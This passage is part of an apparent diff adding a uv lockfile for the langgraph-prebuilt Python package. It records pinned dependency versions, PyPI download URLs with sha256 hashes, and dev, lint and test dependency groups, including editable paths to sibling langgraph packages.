"https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "idna" +version = "3.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/77/7b3966d0b9d1d31a36ddf1746926a11dface89a83409bf1483f0237aa758/idna-3.15.tar.gz", hash = "sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc", size = 199245, upload-time = "2026-05-12T22:45:57.011Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/23/408243171aa9aaba178d3e2559159c24c1171a641aa83b67bdd3394ead8e/idna-3.15-py3-none-any.whl", hash = "sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8", size = 72340, upload-time = "2026-05-12T22:45:55.733Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "jsonpatch" +version = "1.33" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpointer" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/78/18813351fe5d63acad16aec57f94ec2b70a09e53ca98145589e185423873/jsonpatch-1.33.tar.gz", hash = "sha256:9fcd4009c41e6d12348b4a0ff2563ba56a2923a7dfee731d004e212e1ee5030c", size = 21699, upload-time = "2023-06-26T12:07:29.144Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/73/07/02e16ed01e04a374e644b575638ec7987ae846d25ad97bcc9945a3ee4b0e/jsonpatch-1.33-py2.py3-none-any.whl", hash = "sha256:0ae28c0cd062bbd8b8ecc26d7d164fbbea9652a1a3693f3b956c1eae5145dade", size = 12898, upload-time = "2023-06-16T21:01:28.466Z" }, +] + +[[package]] +name = "jsonpointer" +version = "3.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6a/0a/eebeb1fa92507ea94016a2a790b93c2ae41a7e18778f85471dc54475ed25/jsonpointer-3.0.0.tar.gz", hash = "sha256:2b2d729f2091522d61c3b31f82e11870f60b68f43fbc705cb76bf4b832af59ef", size = 9114, upload-time = "2024-06-10T19:24:42.462Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/92/5e77f98553e9e75130c78900d000368476aed74276eb8ae8796f65f00918/jsonpointer-3.0.0-py2.py3-none-any.whl", hash = "sha256:13e088adc14fca8b6aa8177c044e12701e6ad4b28ff10e65f2267a90109c9942", size = 7595, upload-time = "2024-06-10T19:24:40.698Z" }, +] + +[[package]] +name = "langchain-core" +version = "1.4.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpatch" }, + { name = "langchain-protocol" }, + { name = "langsmith" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "pyyaml" }, + { name = "tenacity" }, + { name = "typing-extensions" }, + { name = "uuid-utils" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/12/e3/bea6d0080acf183332f24dcd74c208aee5857cf8f783c3fb0bd86027d8fb/langchain_core-1.4.8.tar.gz", hash = "sha256:5bf1f8411077c904182ad8f975943d36adcbf579c4e017b3a118b719229ebf9a", size = 957974, upload-time = "2026-06-18T19:39:23.636Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/d6/bdf6f0481cc57ef300d6b1eb48cf1400c0409be715d6eb3cabadd1142a09/langchain_core-1.4.8-py3-none-any.whl", hash = "sha256:d84c28b05e3ba8d4271d0827aad5b592ccdaaf986e76768c23503f0a2045e8aa", size = 557416, upload-time = "2026-06-18T19:39:21.902Z" }, +] + +[[package]] +name = "langchain-protocol" +version = "0.0.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d2/59/b5959aea96faa9146e2e49a7a22882b3528c62efafe9a6a95beab30c2305/langchain_protocol-0.0.18.tar.gz", hash = "sha256:ec3e11782f1ed0c9db38e5a9ed01b0e7a0d3fba406faa8aef6594b73c56a63e6", size = 6150, upload-time = "2026-06-18T17:08:26.959Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/99/2e/d82db9eec13ad0f72e7aaad5c4bc730ab111934fdc83c85523206eb9b0a0/langchain_protocol-0.0.18-py3-none-any.whl", hash = "sha256:70b53a86fbf9cedc863555effe44da192ab02d556ddbf2cf95b8873adcf41b5a", size = 7221, upload-time = "2026-06-18T17:08:25.996Z" }, +] + +[[package]] +name = "langgraph" +version = "1.2.9" +source = { editable = "../langgraph" } +dependencies = [ + { name = "langchain-core" }, + { name = "langgraph-checkpoint" }, + { name = "langgraph-prebuilt" }, + { name = "langgraph-sdk" }, + { name = "pydantic" }, + { name = "xxhash" }, +] + +[package.metadata] +requires-dist = [ + { name = "langchain-core", specifier = ">=1.4.7,<2" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-prebuilt", editable = "." }, + { name = "langgraph-sdk", editable = "../sdk-py" }, + { name = "pydantic", specifier = ">=2.7.4" }, + { name = "xxhash", specifier = ">=3.5.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "httpx" }, + { name = "jupyter" }, + { name = "langchain-core", specifier = ">=1.0.0" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-checkpoint-postgres", editable = "../checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite", editable = "../checkpoint-sqlite" }, + { name = "langgraph-cli", marker = "python_full_version < '3.14'", editable = "../cli" }, + { name = "langgraph-cli", extras = ["inmem"], marker = "python_full_version < '3.14'", editable = "../cli" }, + { name = "langgraph-prebuilt", editable = "." }, + { name = "langgraph-sdk", editable = "../sdk-py" }, + { name = "psycopg", extras = ["binary"] }, + { name = "py-spy" }, + { name = "pycryptodome" }, + { name = "pyperf" }, + { name = "pytest" }, + { name = "pytest-cov" }, + { name = "pytest-dotenv" }, + { name = "pytest-mock" }, + { name = "pytest-repeat" }, + { name = "pytest-watcher" }, + { name = "pytest-xdist", extras = ["psutil"] }, + { name = "redis" }, + { name = "ruff" }, + { name = "syrupy" }, + { name = "ty" }, + { name = "types-requests" }, + { name = "uvloop", specifier = "==0.22.1" }, +] +lint = [ + { name = "ruff" }, + { name = "ty" }, + { name = "types-requests" }, +] +test = [ + { name = "httpx" }, + { name = "langchain-core", specifier = ">=1.0.0" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-checkpoint-postgres", editable = "../checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite", editable = "../checkpoint-sqlite" }, + { name = "langgraph-cli", marker = "python_full_version < '3.14'", editable = "../cli" }, + { name = "langgraph-cli", extras = ["inmem"], marker = "python_full_version < '3.14'", editable = "../cli" }, + { name = "langgraph-prebuilt", editable = "." }, + { name = "langgraph-sdk", editable = "../sdk-py" }, + { name = "psycopg", extras = ["binary"] }, + { name = "py-spy" }, + { name = "pycryptodome" }, + { name = "pyperf" }, + { name = "pytest" }, + { name = "pytest-cov" }, + { name = "pytest-dotenv" }, + { name = "pytest-mock" }, + { name = "pytest-repeat" }, + { name = "pytest-watcher" }, + { name = "pytest-xdist", extras = ["psutil"] }, + { name = "redis" }, + { name = "syrupy" }, + { name = "uvloop", specifier = "==0.22.1" }, +] + +[[package]] +name = "langgraph-checkpoint" +version = "4.1.1" +source = { editable = "../checkpoint" } +dependencies = [ + { name = "langchain-core" }, + { name = "ormsgpack" }, +] + +[package.metadata] +requires-dist = [ + { name = "langchain-core", specifier = ">=0.2.38" }, + { name = "ormsgpack", specifier = ">=1.12.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pycryptodome", specifier = ">=3.23.0" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, +] + +[[package]] +name = "langgraph-checkpoint-postgres" +version = "3.1.0" +source = { editable = "../checkpoint-postgres" } +dependencies = [ + { name = "langgraph-checkpoint" }, + { name = "orjson" }, + { name = "psycopg" }, + { name = "psycopg-pool" }, +] + +[package.metadata] +requires-dist = [ + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "orjson", specifier = ">=3.11.5" }, + { name = "psycopg", specifier = ">=3.2.0" }, + { name = "psycopg-pool", specifier = ">=3.2.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "anyio" }, + { name = "codespell" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "psycopg", extras = ["binary"] }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "anyio" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "psycopg", extras = ["binary"] }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, +] + +[[package]] +name = "langgraph-checkpoint-sqlite" +version = "3.1.0" +source = { editable = "../checkpoint-sqlite" } +dependencies = [ + { name = "aiosqlite" }, + { name = "langgraph-checkpoint" }, + { name = "sqlite-vec" }, +] + +[package.metadata] +requires-dist = [ + { name = "aiosqlite", specifier = ">=0.20" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "sqlite-vec", specifier = ">=0.1.6" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-retry", specifier = ">=1.7.0" }, + { name = "pytest-watcher" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-retry", specifier = ">=1.7.0" }, + { name = "pytest-watcher" }, +] + +[[package]] +name = "langgraph-prebuilt" +version = "1.1.0" +source = { editable = "." } +dependencies = [ + { name = "langchain-core" }, + { name = "langgraph-checkpoint" }, +] + +[package.dev-dependencies] +dev = [ + { name = "codespell" }, + { name = "langchain-core" }, + { name = "langgraph" }, + { name = "langgraph-checkpoint" }, + { name = "langgraph-checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite" }, + { name = "psycopg-binary" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "ruff" }, + { name = "syrupy" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "langchain-core" }, + { name = "langgraph" }, + { name = "langgraph-checkpoint" }, + { name = "langgraph-checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite" }, + { name = "psycopg-binary" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "syrupy" }, +] + +[package.metadata] +requires-dist = [ + { name = "langchain-core", specifier = ">=1.3.1" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "langchain-core" }, + { name = "langgraph", editable = "../langgraph" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-checkpoint-postgres", editable = "../checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite", editable = "../checkpoint-sqlite" }, + { name = "psycopg-binary" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "ruff" }, + { name = "syrupy" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "langchain-core" }, + { name = "langgraph", editable = "../langgraph" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-checkpoint-postgres", editable = "../checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite", editable = "../checkpoint-sqlite" }, + { name = "psycopg-binary" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "syrupy" }, +] + +[[package]] +name = "langgraph-sdk" +source = { editable = "../sdk-py" } +dependencies = [ + { name = "httpx" }, + { name = "langchain-core" }, + { name = "langchain-protocol" }, + { name = "orjson" }, + { name = "websockets" }, +] + +[package.metadata] +requires-dist = [ + { name = "httpx", specifier = ">=0.25.2" }, + { name = "langchain-core", specifier = ">=1.4.0,<2" }, + { name = "langchain-protocol", specifier = ">=0.0.15" }, + { name = "orjson", specifier = ">=3.11.5" }, + { name = "websockets", specifier = ">=14,<17" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "langgraph", editable = "../langgraph" }, + { name = "pydantic", specifier = ">=2.12.4" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watch" }, + { name = "ruff", specifier = "==0.15.20" }, + { name = "starlette" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff", specifier = "==0.15.20" }, + { name = "starlette" }, + { name = "ty" }, +] +test = [ + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watch" }, +] + +[[package]] +name = "langsmith" +version = "0.8.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "httpx" }, + { name = "orjson", marker = "platform_python_implementation != 'PyPy'" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "requests" }, + { name = "requests-toolbelt" }, + { name = "uuid-utils" }, + { name = "websockets" }, + { name = "xxhash" }, + { name = "zstandard" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9a/d9/a6681aa9847bbbc5ec21abe20a5e233b94e5edcfe39624db607ac7e8ccb4/langsmith-0.8.18.tar.gz", hash = "sha256:32dde9c0e67e053e0fb738921fc8ced768af7b8fa83d7a0e3fd63597cf8776dd", size = 4526988, upload-time = "2026-06-19T13:12:17.123Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/70/0e0cc80a3b064c8d6c8d697c3125ed86e39d5a7393ec6dc8b07cb1cf13c4/langsmith-0.8.18-py3-none-any.whl", hash = "sha256:3940183349993faef48e6c7d08e4822ee9cefd906b362d0e3c2d650314d2f282", size = 508108, upload-time = "2026-06-19T13:12:15.348Z" }, +] + +[[package]] +name = "orjson" +version = "3.11.9" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/0c/964746fcafbd16f8ff53219ad9f6b412b34f345c75f384ad434ceaadb538/orjson-3.11.9.tar.gz", hash = "sha256:4fef17e1f8722c11587a6ef18e35902450221da0028e65dbaaa543619e68e48f", size = 5599163, upload-time = "2026-05-06T15:11:08.309Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/5d/b95ca542a001135cc250a49370f282f578c8f4e46cc8617d73775297eea8/orjson-3.11.9-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:135869ef917b8704ea0a94e01620e0c05021c15c52036e4663baffe75e72f8ce", size = 228986, upload-time = "2026-05-06T15:09:14.765Z" }, + { url = "https://files.pythonhosted.org/packages/80/01/be33fbff646e22f93398429ea645f20d2097aea1a6cdc1e6628e70125f83/orjson-3.11.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:115ab5f5f4a0f203cc2a5f0fb09aee503a3f771aa08392949ab5ca230c4fbdbd", size = 132558, upload-time = "2026-05-06T15:09:17.431Z" }, + { url = "https://files.pythonhosted.org/packages/4e/61/73d49333bba660a075daccca10970dc6409ce1cf42ae4046646a19468aad/orjson-3.11.9-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4da3c38a2083ca4aaf9c2a36776cce3e9328e6647b10d118948f3cfb4913ffe4", size = 128213, upload-time = "2026-05-06T15:09:18.719Z" }, + { url = "https://files.pythonhosted.org/packages/1f/7d/30e844b3dac3f74aed66b1f984daf9db3c98c0328c03d965a9e8dc06449e/orjson-3.11.9-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53b50b0e14084b8f7e29c5ce84c5af0f1160169b30d8a6914231d97d2fe297d4", size = 135430, upload-time = "2026-05-06T15:09:20.257Z" }, + { url = "https://files.pythonhosted.org/packages/16/64/bd815f5c610b3facc204f26ba94e87a9eb49b0d83de3d5fc1eee2402d91b/orjson-3.11.9-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:231742b4a11dad8d5380a435962c57e91b7c37b79be858f4ef1c0df1a259897e", size = 146178, upload-time = "2026-05-06T15:09:21.616Z" }, + { url = "https://files.pythonhosted.org/packages/c7/35/e744fd36c79b339d27beb06068b5a08a8882ef5418804d0ce545a31f718d/orjson-3.11.9-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:34fd2317602587321faab75ab76c623a0117e80841a6413654f04e47f339a8fb", size = 133068, upload-time = "2026-05-06T15:09:23.228Z" }, + { url = "https://files.pythonhosted.org/packages/2a/56/d54152b67b63a0b3e556cfc549d6ce84f74d7f425ddeadc6c8a74d913da7/orjson-3.11.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:71f3db16e69b667b132e0f305a833d5497da302d801508cbb051ed9a9819da47", size = 134217, upload-time = "2026-05-06T15:09:24.847Z" }, + { url = "https://files.pythonhosted.org/packages/0b/ee/66154baf69f71c7164a268a5e888908aec5a0819d13c81d5e2755a257758/orjson-3.11.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0b34789fa0da61cf7bef0546b09c738fb195331e017e477096d129e9105ab03d", size = 141917, upload-time = "2026-05-06T15:09:26.647Z" }, + { url = "https://files.pythonhosted.org/packages/09/d3/c5824260ca8b9d7ba82648d042a3f8f4815d18c15bb98a1f30edd1bb2d83/orjson-3.11.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:87e4d4ab280b0c87424d47695bec2182caf8cfc17879ea78dab76680194abc13", size = 415356, upload-time = "2026-05-06T15:09:28.252Z" }, + { url = "https://files.pythonhosted.org/packages/64/cb/509c2e816fe4df641d93dc92f6a89adc8df3ada8ebdee2bd44aba3264c3c/orjson-3.11.9-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ace6c58523302d3b97b6ac5c38a5298a54b473762b6be82726b4265c41029f92", size = 148112, upload-time = "2026-05-06T15:09:29.783Z" }, + { url = "https://files.pythonhosted.org/packages/db/b5/3ceae56d2e4962979eedb023ba6a46a4bb65f333960379be0ca470686220/orjson-3.11.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:97d0d932803c1b164fde11cb542a9efcb1e0f63b184537cca65887147906ff48", size = 137112, upload-time = "2026-05-06T15:09:31.432Z" }, + { url = "https://files.pythonhosted.org/packages/d7/7a/81fa3f2c7bef79b04cf2ab7838e5ac74b1f12511ceab979759b0275d6bb4/orjson-3.11.9-cp310-cp310-win32.whl", hash = "sha256:b3afcf569c15577a9fe64627292daa3e6b3a70f4fb77a5df246a87ec21681b94", size = 131706, upload-time = "2026-05-06T15:09:32.707Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d8/b64600f9083c7f151ad39717a5877fccbeb0ef6d7efcb55f971ce00b6bee/orjson-3.11.9-cp310-cp310-win_amd64.whl", hash = "sha256:8697ab6a080a5c46edaad50e2bc5bd8c7ca5c66442d24104fa44ec74910a8244", size = 127282, upload-time = "2026-05-06T15:09:33.955Z" }, + { url = "https://files.pythonhosted.org/packages/1e/51/3fb9e65ae76ee97bd611869a503fa3fc0a6e81dd8b737cf3003f682df7ff/orjson-3.11.9-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:f01c4818b3fc9b0da8e096722a84318071eaa118df35f6ed2344da0e73a5444f", size = 228522, upload-time = "2026-05-06T15:09:35.362Z" }, + { url = "https://files.pythonhosted.org/packages/16/fa/9d54b07cb3f3b0bfd57841478e42d7a0ece4a9f49f9907eecf5a45461687/orjson-3.11.9-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:3ebca4179031ee716ed076ffadc29428e900512f6fccee8614c9983157fcf19c", size = 128463, upload-time = "2026-05-06T15:09:37.063Z" }, + { url = "https://files.pythonhosted.org/packages/88/b1/6ceafc2eefd0a553e3be77ce6c49d107e772485d9568629376171c50e634/orjson-3.11.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48ee05097750de0ff69ed5b7bbcf0732182fd57a24043dcc2a1da780a5ead3a5", size = 132306, upload-time = "2026-05-06T15:09:38.299Z" }, + { url = "https://files.pythonhosted.org/packages/ea/76/f11311285324a40aab1e3031385c50b635a7cd0734fdaf60c7e89a696f60/orjson-3.11.9-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6082706765a95a6680d812e1daf1c0cfe8adec7831b3ff3b625693f3b461b1c", size = 127988, upload-time = "2026-05-06T15:09:39.597Z" }, + { url = "https://files.pythonhosted.org/packages/9e/85/0ef63bcf1337f44031ce9b91b1919563f62a37527b3ea4368bb15a22e5d7/orjson-3.11.9-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:277fefe9d76ee17eb14debf399e3533d4d63b5f677a4d3719eb763536af1f4bd", size = 135188, upload-time = "2026-05-06T15:09:40.957Z" }, + { url = "https://files.pythonhosted.org/packages/05/94/b0d27090ea8a2095db3c2bd1b1c96f96f19bbb494d7fef33130e846e613d/orjson-3.11.9-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03db380e3780fa0015ed776a90f20e8e20bb11dde13b216ce19e5718e3dfba62", size = 145937, upload-time = "2026-05-06T15:09:42.249Z" }, + { url = "https://files.pythonhosted.org/packages/09/eb/75d50c29c05b8054013e221e598820a365c8e64065312e75e202ed880709/orjson-3.11.9-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33d7d766701847dc6729846362dc27895d2f2d2251264f9d10e7cb9878194877", size = 132758, upload-time = "2026-05-06T15:09:43.945Z" }, + { url = "https://files.pythonhosted.org/packages/49/bd/360686f39348aa88827cb6fbf7dc606fd41c831a35235e1abf1db8e3a9e6/orjson-3.11.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:147302878da387104b66bb4a8b0227d1d487e976ce41a8501916161072ed87b1", size = 133971, upload-time = "2026-05-06T15:09:45.239Z" }, + { url = "https://files.pythonhosted.org/packages/0e/30/3178eb16f3221aeef068b6f1f1ebe05f656ea5c6dffe9f6c917329fe17a3/orjson-3.11.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3513550321f8c8c811a7c3297b8a630e82dc08e4c10216d07703c997776236cd", size = 141685, upload-time = "2026-05-06T15:09:46.858Z" }, + { url = "https://files.pythonhosted.org/packages/5f/f1/ff2f19ed0225f9680fafa42febca3570dd59444ebf190980738d376214c2/orjson-3.11.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c5d001196b89fa9cf0a4ab79766cd835b991a166e4b621ba95089edc50c429ff", size = 415167, upload-time = "2026-05-06T15:09:48.312Z" }, + { url = "https://files.pythonhosted.org/packages/9b/61/863bddf0da6e9e586765414debd54b4e58db05f560902b6d00658cb88636/orjson-3.11.9-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:16969c9d369c98eb084889c6e4d2d39b77c7eb38ceccf8da2a9fff62ae908980", size = 147913, upload-time = "2026-05-06T15:09:49.733Z" }, + { url = "https://files.pythonhosted.org/packages/b6/8a/4081492586d75b073d60c5271a8d0f05a0955cabf1e34c8473f6fcd84235/orjson-3.11.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:63e0efbc991250c0b3143488fa57d95affcabbfc63c99c48d625dd37779aafe2", size = 136959, upload-time = "2026-05-06T15:09:51.311Z" }, + { url = "https://files.pythonhosted.org/packages/0d/bd/70b6ab193594d7abb875320c0a7c8335e846f28968c432c31042409c3c8d/orjson-3.11.9-cp311-cp311-win32.whl", hash = "sha256:14ed654580c1ed2bc217352ec82f91b047aef82951aa71c7f64e0dcb03c0e180", size = 131533, upload-time = "2026-05-06T15:09:52.637Z" }, + { url = "https://files.pythonhosted.org/packages/3f/17/1a1a228183d62d1b77e2c30d210f47dd4768b310ebe1607c63e3c0e3a71e/orjson-3.11.9-cp311-cp311-win_amd64.whl", hash = "sha256:57ea77fb70a448ce87d18fca050193202a3da5e54598f6501ca5476fb66cfe02", size = 127106, upload-time = "2026-05-06T15:09:54.204Z" }, + { url = "https://files.pythonhosted.org/packages/b8/95/285de5fa296d09681ee9c546cd4a8aeb773b701cf343dc125994f4d52953/orjson-3.11.9-cp311-cp311-win_arm64.whl", hash = "sha256:19b72ed11572a2ee51a67a903afbe5af504f84ed6f529c0fe44b0ab3fb5cc697", size = 126848, upload-time = "2026-05-06T15:09:55.551Z" }, + { url = "https://files.pythonhosted.org/packages/16/6d/11867a3ffa3a3608d84a4de51ef4dd0896d6b5cc9132fbe1daf593e677bc/orjson-3.11.9-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9ef6fe90aadef185c7b128859f40beb24720b4ecea95379fc9000931179c3a49", size = 228515, upload-time = "2026-05-06T15:09:57.265Z" }, + { url = "https://files.pythonhosted.org/packages/24/75/05912954c8b288f34fcf5cd4b9b071cb4f6e77b9961e175e56ebb258089f/orjson-3.11.9-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:e5c9b8f28e726e97d97696c826bc7bea5d71cecd63576dba92924a32c1961291", size = 128409, upload-time = "2026-05-06T15:09:59.063Z" }, + { url = 